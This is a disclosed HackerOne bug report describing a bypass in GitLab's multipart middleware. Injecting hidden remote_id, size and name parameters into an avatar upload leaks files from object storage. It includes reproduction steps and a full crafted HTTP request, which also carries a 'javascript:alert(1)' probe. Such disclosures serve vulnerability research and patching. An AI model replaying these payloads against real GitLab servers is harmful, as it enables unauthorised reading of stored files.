Gitlab::Middleware::Multipart bypass to leak some files in object storage
HackerOne report #927953 by ledz1996
on 2020-07-20:
Summary
The mitigation for #850447 lack the check for remote_id
for file uploading param inside a hash. For example I could slip in remote_id
if the upload parameter is inside a Hash, such as user[avatar]
Steps to reproduce
- Enable Object Storage for Uploads
gitlab_rails['uploads_storage_path'] = "/opt/gitlab/embedded/service/gitlab-rails/public"
gitlab_rails['uploads_base_dir'] = "uploads/-/system"
gitlab_rails['uploads_object_store_enabled'] = true
# gitlab_rails['uploads_object_store_direct_upload'] = true
gitlab_rails['uploads_object_store_background_upload'] = true
# gitlab_rails['uploads_object_store_proxy_download'] = false
gitlab_rails['uploads_object_store_remote_directory'] = "lfsgit-ducanh"
gitlab_rails['uploads_object_store_connection'] = {
'provider' => 'AWS',
'region' => 'ap-southeast-1',
'aws_access_key_id' => 'Redacted',
'aws_secret_access_key' => 'Redacted'
}
- Login as an user
- For testing upload a file with PNG extension or any extension as long as the content of the file is matched to
png, gif, ico, jpeg, tiff
and size under 200kb to bucket specified in the config, in my case it islfsgit-ducanh
under foldertmp/uploads
- Intercept the request send to upload user avatar modify the following:
paramuser[avatar]
touser[avatar
Add the following param to multipart:
paramuser[avatar][.remote_id]
with value as the name of the file upload
paramuser[avatar][.size]
to 1
paramuser[avatar][.name]
totest.png
Sample request:
POST /profile HTTP/1.1
Host: gitlab.example.vm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: http://gitlab.example.vm/profile
X-CSRF-Token: q/U0RAC1d6vo2t8DDE4CrCairn5tSPLMqgqS+z+1nnJMMa8k9hOa2yiUvNGnQFgy4cnCCjm/w3KRCSG0MNjC3w==
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------123131391227016554183414506179
Content-Length: 3207
Origin: http://gitlab.example.vm
Connection: close
Cookie: experimentation_subject_id=ImU0OTc1ZGY3LTk2ZjQtNDc1Yi1hM2IwLTVmNmI0MWViNzViYSI%3D--7a823d50e4220918dd1a10d21599be62dfbe5e46; sidebar_collapsed=false; diff_view=inline; _gitlab_session=cf64c7af0ce7d6da7c4a343959a12bfe; event_filter=all
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="utf8"
â
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="_method"
put
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="authenticity_token"
q/U0RAC1d6vo2t8DDE4CrCairn5tSPLMqgqS+z+1nnJMMa8k9hOa2yiUvNGnQFgy4cnCCjm/w3KRCSG0MNjC3w==
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[status][emoji]"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[status][message]"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[name]"
test'g
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[id]"
8
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[email]"
rrr@mailt.com
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[public_email]"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[commit_email]"
rrr@mailt.com
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[skype]"
test"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[linkedin]"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[twitter]"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[website_url]"
javascript:alert(1)
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[location]"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[job_title]"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[organization]"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[bio]"
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[private_profile]"
0
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[include_private_contributions]"
0
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[avatar][.remote_id]"
file8.PNG
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[avatar][.size]"
3
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[avatar][.name]"
test.png
-----------------------------123131391227016554183414506179
Content-Disposition: form-data; name="user[avatar"; filename="avatar.png"
Content-Type: image/png
w
twwwqwdqwd
-----------------------------123131391227016554183414506179--
- Navigate to user avatar for the content of the file. The file is then deleted in the folder because it is moved to another folder in the bucket
I prepared a video for this: bandicam_2020-07-20_21-51-18-569.mp4
Results of GitLab environment info
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.6p146
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.9
Git Version: 2.27.0
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 13.1.3-ee
Revision: 68484131370
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 11.7
URL: http://gitlab.example.vm
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git
SSH Clone URL: git@gitlab.example.vm:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers: saml
GitLab Shell
Version: 13.3.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
Gitlab::Middleware::Multipart bypass to leak some files in object storage
Attachments
Warning: Attachments received through HackerOne, please exercise caution!